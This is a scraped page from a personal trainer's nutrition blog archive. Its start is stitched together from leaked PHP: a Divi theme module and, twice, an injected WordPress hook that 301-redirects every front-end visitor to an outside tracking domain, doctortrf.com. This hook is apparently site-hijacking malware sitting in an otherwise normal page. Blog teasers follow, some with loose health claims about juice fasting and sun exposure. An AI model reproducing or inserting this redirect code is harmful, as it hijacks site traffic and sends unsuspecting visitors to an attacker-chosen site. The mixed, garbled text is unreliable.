function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module { function init() { $this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' ); $this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' ); $this->slug = 'et_pb_fullwidth_post_title'; $this->vb_support = 'on'; $this->fullwidth = true; $this->defaults = array(); $this->featured_image_background = true; $this->main_css_element = '%%order_class%%'; $this->settings_modal_toggles = array( 'general' => array( 'toggles' => array( 'elements' => et_builder_i18n( 'Elements' ), ), ), 'advanced' => array( 'toggles' => array( 'text' => array( 'title' => et_builder_i18n( 'Text' ), 'priority' => 49, ), 'image_settings' => et_builder_i18n( 'Image' ), ), ), ); $this->advanced_fields = array( 'borders' => array( 'default' => array( 'css' => array( 'main' => array( 'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", 'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", ), ), ), ), 'margin_padding' => array( 'css' => array( 'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title", 'important' => 'all', ), ), 'fonts' => array( 'title' => array( 'label' => et_builder_i18n( 'Title' ), 'use_all_caps' => true, 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title", ), 'header_level' => array( 'default' => 'h1', ), ), 'meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a", 'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span", ), ), ), 'background' => array( 'css' => array( 'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg", ), ), 'max_width' => array( 'css' => array( 'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module', ), ), 'text' => array( 'options' => array( 'text_orientation' => array( 'default' => 'left', ), ), 'css' => array( 'main' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ) ), 'button' => false, ); $this->custom_css_fields = array( 'post_title' => array( 'label' => et_builder_i18n( 'Title' ), 'selector' => 'h1', ), 'post_meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'selector' => '.et_pb_title_meta_container', ), 'post_image' => array( 'label' => esc_html__( 'Featured Image', 'et_builder' ), 'selector' => '.et_pb_title_featured_container', ), ); $this->help_videos = array( array( 'id' => 'wb8c06U0uCU', 'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ), ), ); } function get_fields() { $fields = array( 'title' => array( 'label' => esc_html__( 'Show Title', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'meta' => array( 'label' => esc_html__( 'Show Meta', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'author', 'date', 'comments', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'author' => array( 'label' => esc_html__( 'Show Author', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date' => array( 'label' => esc_html__( 'Show Date', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'affects' => array( 'date_format', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date_format' => array( 'label' => esc_html__( 'Date Format', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'default_on_front' => 'M j, Y', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ), ), 'categories' => array( 'label' => esc_html__( 'Show Post Categories', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'show_if' => array( 'meta' => 'on', 'function.isPostOrTBLayout' => 'on', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'comments' => array( 'label' => esc_html__( 'Show Comments Count', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_image' => array( 'label' => esc_html__( 'Show Featured Image', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'featured_placement', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_placement' => array( 'label' => esc_html__( 'Featured Image Placement', 'et_builder' ), 'type' => 'select', 'option_category' => 'layout', 'options' => array( 'below' => esc_html__( 'Below Title', 'et_builder' ), 'above' => esc_html__( 'Above Title', 'et_builder' ), 'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ), ), 'default_on_front' => 'below', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ), ), 'force_fullwidth' => array( 'label' => esc_html__( 'Force Fullwidth', 'et_builder' ), 'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'layout', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_width' => array( 'label' => esc_html__( 'Featured Image Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ), 'default' => '100%', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_max_width' => array( 'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ), 'default' => 'none', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_height' => array( 'label' => esc_html__( 'Featured Image Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ), 'default' => 'auto', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_max_height' => array( 'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ), 'default' => 'none', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_alignment' => array( 'label' => esc_html__( 'Image Alignment', 'et_builder' ), 'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ), 'type' => 'align', 'option_category' => 'layout', 'options' => et_builder_get_text_orientation_options( array( 'justified' ) ), 'tab_slug' => 'advanced', 'toggle_slug' => 'image_settings', 'default' => 'center', 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'text_color' => array( 'label' => esc_html__( 'Text Color', 'et_builder' ), 'type' => 'select', 'option_category' => 'color_option', 'options' => array( 'dark' => et_builder_i18n( 'Dark' ), 'light' => et_builder_i18n( 'Light' ), ), 'default_on_front' => 'dark', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ), ), 'text_background' => array( 'label' => esc_html__( 'Use Text Background Color', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'color_option', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default_on_front' => 'off', 'affects' => array( 'text_bg_color', ), 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ), ), 'text_bg_color' => array( 'default' => 'rgba(255,255,255,0.9)', 'label' => esc_html__( 'Text Background Color', 'et_builder' ), 'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ), 'type' => 'color-alpha', 'depends_show_if' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'mobile_options' => true, ), ); return $fields; } public function get_transition_fields_css_props() { $fields = parent::get_transition_fields_css_props(); $fields['text_color'] = array( 'color' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ); $fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' ); return $fields; } function render( $attrs, $content = null, $render_slug ) { $multi_view = et_pb_multi_view_options( $this ); $date_format = $this->props['date_format']; $featured_image = $this->props['featured_image']; $featured_placement = $this->props['featured_placement']; $text_color = $this->props['text_color']; $text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props ); $text_background = $this->props['text_background']; $header_level = $this->props['title_level']; $text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' ); $post_id = get_the_ID(); // display the shortcode only on singlular pages if ( ! is_singular() ) { $post_id = 0; } $output = ''; $featured_image_output = ''; $parallax_image_background = $this->get_parallax_image_background(); if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) { // Largest featured image size is needed when featured image is used in "post" post type and full width layout $featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large'; $post_thumbnail_id = get_post_thumbnail_id( $post_id ); $featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 ); $featured_image_content = $multi_view->render_element( array( 'tag' => 'img', 'attrs' => array( 'src' => $featured_image_src, ) ) ); $featured_image_output = $multi_view->render_element( array( 'tag' => 'div', 'content' => sprintf( '
%1$s
', $featured_image_content ), 'attrs' => array( 'class' => 'et_pb_title_featured_container', ), 'visibility' => array( 'featured_image' => 'on', ), 'required' => array( 'featured_image' => 'on', ), ) ); $image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' ); $image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug ); if ( 'off' === $this->props['force_fullwidth'] ) { $image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' ); $image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug ); // Image alignment style $image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'text-align', $render_slug, '', 'align' ); $image_alignments = array( 'left' => 'auto auto auto 0', 'center' => 'auto', 'right' => 'auto 0 auto auto', ); foreach ( $image_alignment_values as $breakpoint => $alignment ) { $image_alignment_values[ $breakpoint ] = et_()->array_get( $image_alignments, $alignment, '' ); } et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'margin', $render_slug, '', 'align' ); ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%% .et_pb_image_wrap', 'declaration' => 'width: auto;', ) ); } } if ( $multi_view->has_value( 'title', 'on' ) ) { if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) { $post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) ); } else { // Unescaped for backwards compat reasons. $post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' ); } $output .= $multi_view->render_element( array( 'tag' => et_pb_process_header_level( $header_level, 'h1' ), 'content' => $post_title, 'attrs' => array( 'class' => 'entry-title', ), 'visibility' => array( 'title' => 'on', ) ) ); } if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) { $meta_array = array(); foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) { if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) { continue; } $meta_array[] = $multi_view->render_element( array( 'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ), 'classes' => array( 'et_pb_title_meta_item--visible' => array( $single_meta => 'on', 'meta' => 'on', ), ), 'visibility' => array( $single_meta => 'on', 'meta' => 'on', ), 'required' => array( $single_meta => 'on', 'meta' => 'on', ), ) ); } $output .= $multi_view->render_element( array( 'tag' => 'p', 'content' => implode( '', $meta_array ), 'attrs' => array( 'class' => 'et_pb_title_meta_container', ), 'visibility' => array( 'meta' => 'on', ), ) ); } if ( 'on' === $text_background ) { // Text Background Color. et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' ); if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) { ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%%:hover .et_pb_title_container', 'declaration' => sprintf( 'background-color: %1$s; padding: 1em 1.5em;', esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) ) ), ) ); } } $video_background = $this->video_background(); $background_layout = 'dark' === $text_color ? 'light' : 'dark'; $data_background_layout = ''; $data_background_layout_hover = ''; if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) { $data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) ); $data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) ); } // Module classnames $this->add_classname( array( 'et_pb_post_title', $this->get_text_orientation_classname(), "et_pb_bg_layout_{$background_layout}", ) ); if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) { $this->add_classname( 'et_pb_featured_bg' ); } if ( 'above' === $featured_placement ) { $this->add_classname( 'et_pb_image_above' ); } if ( 'below' === $featured_placement ) { $this->add_classname( 'et_pb_image_below' ); } // Remove automatically added classnames $this->remove_classname( array( 'et_pb_fullwidth_post_title', ) ); $muti_view_data_attr = $multi_view->render_attrs( array( 'classes' => array( 'et_pb_featured_bg' => array( 'featured_image' => 'on', 'featured_placement' => 'background', ), ), ) ); $output = sprintf( ' %4$s %7$s %5$s
%1$s
%6$s', $output, $this->module_classname( $render_slug ), $this->module_id(), $parallax_image_background, 'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5 'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '', $video_background, $data_background_layout, $data_background_layout_hover, et_core_esc_previously( $muti_view_data_attr ) // #10 ); return $output; } } new ET_Builder_Module_Fullwidth_Post_Title; Nutrition Archives - Page 112 of 116 - A2Z Personal Training

Why “walking it off” doesn’t work

by | Feb 10, 2020 | Movement, Nutrition

Semi-serious question for you: How often do you think about your muscles? (I mean, besides how they look.) I am asking you this because we expect our muscles to be able to perform for us at a second’s notice. But what do we do to actually take care of them so that...

Here’s your “2020 Healthy Swaps Checklist”

by | Jan 16, 2020 | Nutrition

Oh do I have a good one for you today, especially if you love to bake! It goes along with the healthy Black Bean Brownie recipe I posted the other day. Did you try them yet? So good! Anyway, today I have a quick healthy swaps checklist you can use to bump up the...

No one has to know…

by | Jan 13, 2020 | Nutrition

Wow do I have something special (and super delicious) for you today! This may even become one of your new favorite recipes. This new brownie recipe is decadent and delicious – and it also happens to be vegan, gluten-free, and packed with fiber! It’s super simple and...
Health benefits of Sun Exposure

Health benefits of Sun Exposure

by | Jan 28, 2014 | Nutrition

It’s hard to imagine that something over 93,000,000 miles away can be of any benefit to us.  However, nothing can be further from the truth when considering the benefits of the sun. Health Benefits of the Sun The sun plays a critical role in preventing some...

What a 10 Day Juice Fast Taught Me

by | Jan 22, 2014 | Cancer, Nutrition

10 days ago I started a juice fast. That’s right, no food. Just pure, fresh fruit and vegetable juice. Why? Because I wanted to increase my energy levels, reset my body and be able to start enjoying food again without worrying about what I could and couldn’t eat....
Nuts, Nuts, Nuts…and milk!

Nuts, Nuts, Nuts…and milk!

by | Nov 20, 2013 | Nutrition

There are many reasons why you may consider the option of not drinking (or eating) dairy as I outlined in a previous article. Just to recap, some of those reasons may include the fact that some dairy herds are being injected with various types of growth hormones to...